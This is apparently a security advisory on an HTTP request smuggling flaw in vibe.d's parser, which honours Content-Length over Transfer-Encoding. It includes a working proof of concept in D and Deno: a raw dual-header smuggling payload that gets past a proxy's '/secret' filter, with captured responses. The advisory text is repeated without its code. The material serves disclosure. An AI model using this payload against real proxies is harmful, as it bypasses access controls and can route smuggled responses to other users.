Summary
When vibe.d’s HTTP parser receives a request containing both Content-Length and Transfer-Encoding headers, it erroneously gives priority to Content-Length rather than honoring Transfer-Encoding or rejecting the request. This behaviour violates the mandate in RFC 9112 § 6.3 and can lead to HTTP request smuggling attacks (especially in the context of vibe.http.proxy).
This is a high-severity parsing inconsistency vulnerability that allows an attacker to desynchronize request framing between front-end and back-end components, possibly injecting requests, allowing phishing or escalate a Self-XSS into a Stored-XSS.
Details
The HTTP/1.1 parser in vibe.http currently prioritizes Content-Length over Transfer-Encoding when both headers are present. The problematic code is written here:
// limit request size
if (auto pcl = "Content-Length" in req.headers) {
string v = *pcl;
auto contentLength = parse!ulong(v); // DMDBUG: to! thinks there is a H in the string
enforceBadRequest(v.length == 0, "Invalid content-length");
enforceBadRequest(settings.maxRequestSize <= 0 || contentLength <= settings.maxRequestSize, "Request size too big");
limited_http_input_stream = FreeListRef!LimitedHTTPInputStream(reqReader, contentLength);
} else if (auto pt = "Transfer-Encoding" in req.headers) {
enforceBadRequest(icmp2(*pt, "chunked") == 0);
chunked_input_stream = createChunkedInputStreamFL(reqReader);
InputStreamProxy ciproxy = chunked_input_stream;
limited_http_input_stream = FreeListRef!LimitedHTTPInputStream(ciproxy, settings.maxRequestSize, true);
} else {
limited_http_input_stream = FreeListRef!LimitedHTTPInputStream(reqReader, 0);
}
This behavior directly contradicts RFC 9112 § 6.3, which states:
If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length. Such a message might indicate an attempt to perform request smuggling (Section 11.2) or response splitting (Section 11.1) and ought to be handled as an error. An intermediary that chooses to forward the message MUST first remove the received Content-Length field and process the Transfer-Encoding (as described below) prior to forwarding the message downstream.
The practical risk is magnified when the vibe.http.proxy module is used: if the proxy receives such a dual-header request and forwards it keeping the Content-Length frame, while the downstream server (e.g. one using hyper) expects a request obeying Transfer-Encoding over Content-Length, a request smuggling attack becomes possible via mismatched framing.
PoC
Here, we use Deno server as backend which uses hyper as HTTP parser.
import std.stdio;
import std.string;
import vibe.core.core;
import vibe.core.log;
import vibe.http.proxy;
import vibe.http.router;
import vibe.http.client;
import vibe.stream.operations;
import core.thread;
int main(string[] args)
{
setLogLevel(LogLevel.trace);
auto settings = new HTTPServerSettings;
settings.port = 8080;
settings.bindAddresses = ["0.0.0.0"];
auto router = new URLRouter;
auto proxyHandler = reverseProxyRequest("0.0.0.0", 9999); // Points to Deno server
router.get("/test", (HTTPServerRequest req, HTTPServerResponse res) {
auto conn = connectTCP("0.0.0.0", 8080);
conn.write(
"GET / HTTP/1.1\r\n" ~
"Host: localhost\r\n" ~
"Content-Length: 65\r\n" ~
"Transfer-Encoding: x, chunked\r\n" ~
"\r\n" ~
"0\r\n" ~
"\r\n" ~
"GET /secret HTTP/1.1\r\n" ~
"Host: localhost\r\n" ~
"Content-Length: 0\r\n" ~
"\r\n"
);
ubyte[500] buf1;
conn.read(buf1, IOMode.once);
Thread.sleep(1.seconds);
conn.write(
"GET / HTTP/1.1\r\n" ~
"Host: localhost\r\n" ~
"Content-Length: 0\r\n" ~
"\r\n"
);
ubyte[500] buf2;
conn.read(buf2, IOMode.once);
res.writeBody(
"First Response:\n\n" ~
strip(cast(string)buf1, "\0") ~
"\nSecond Response:\n\n" ~
strip(cast(string)buf2, "\0")
);
});
router.get("*", (HTTPServerRequest req, HTTPServerResponse res) {
auto url = URL(req.requestURL);
enforceHTTP(url.pathString.indexOf("secret") == -1, HTTPStatus.badRequest, "Forbidden path");
return proxyHandler(req, res);
});
listenHTTP(settings, router);
return runApplication(&args);
}
Deno server:
import { Application, Router } from "https://deno.land/x/oak@v17.1.6/mod.ts";
const router = new Router();
router.get("/", (ctx) => {
ctx.response.body = "Hello from Oak!";
});
router.get("/secret", (ctx) => {
ctx.response.body = "this is secret";
});
const app = new Application();
app.use(router.routes());
app.use(router.allowedMethods());
await app.listen({ port: 9999 });
Result (may differ if the connection is not reused):
First Response:
HTTP/1.1 200 OK
Server: vibe.d/2.13.1
Date: Mon, 13 Oct 2025 18:27:39 GMT
Keep-Alive: timeout=10
content-type: text/plain; charset=UTF-8
vary: Accept-Encoding
content-length: 15
date: Mon, 13 Oct 2025 18:27:36 GMT
Hello from Oak!
Second Response:
HTTP/1.1 200 OK
Server: vibe.d/2.13.1
Date: Mon, 13 Oct 2025 18:27:40 GMT
Keep-Alive: timeout=10
content-type: text/plain; charset=UTF-8
vary: Accept-Encoding
content-length: 14
date: Mon, 13 Oct 2025 18:27:36 GMT
this is secret
Impact
This request smuggling can be abused in two ways:
- If the proxy server filters or sanitizes requests before sending them to the backend, a smuggled request can bypass those filters, reaching backend logic that normally wouldn't see them.
vibe.http.proxy attempts to reuse the same backend connection when possible, even if the original request was made by a different client. Thus, the response to a smuggled request may be delivered to a different user. This can lead to session fixation, malicious redirects to phishing pages, or the escalation of Self-XSS into Stored-XSS.
Summary
When vibe.d’s HTTP parser receives a request containing both Content-Length and Transfer-Encoding headers, it erroneously gives priority to Content-Length rather than honoring Transfer-Encoding or rejecting the request. This behaviour violates the mandate in RFC 9112 § 6.3 and can lead to HTTP request smuggling attacks (especially in the context of vibe.http.proxy).
This is a high-severity parsing inconsistency vulnerability that allows an attacker to desynchronize request framing between front-end and back-end components, possibly injecting requests, allowing phishing or escalate a Self-XSS into a Stored-XSS.
Details
The HTTP/1.1 parser in vibe.http currently prioritizes Content-Length over Transfer-Encoding when both headers are present. The problematic code is written here:
This behavior directly contradicts RFC 9112 § 6.3, which states:
The practical risk is magnified when the
vibe.http.proxymodule is used: if the proxy receives such a dual-header request and forwards it keeping the Content-Length frame, while the downstream server (e.g. one using hyper) expects a request obeying Transfer-Encoding over Content-Length, a request smuggling attack becomes possible via mismatched framing.PoC
Here, we use Deno server as backend which uses hyper as HTTP parser.
Deno server:
Result (may differ if the connection is not reused):
Impact
This request smuggling can be abused in two ways:
vibe.http.proxyattempts to reuse the same backend connection when possible, even if the original request was made by a different client. Thus, the response to a smuggled request may be delivered to a different user. This can lead to session fixation, malicious redirects to phishing pages, or the escalation of Self-XSS into Stored-XSS.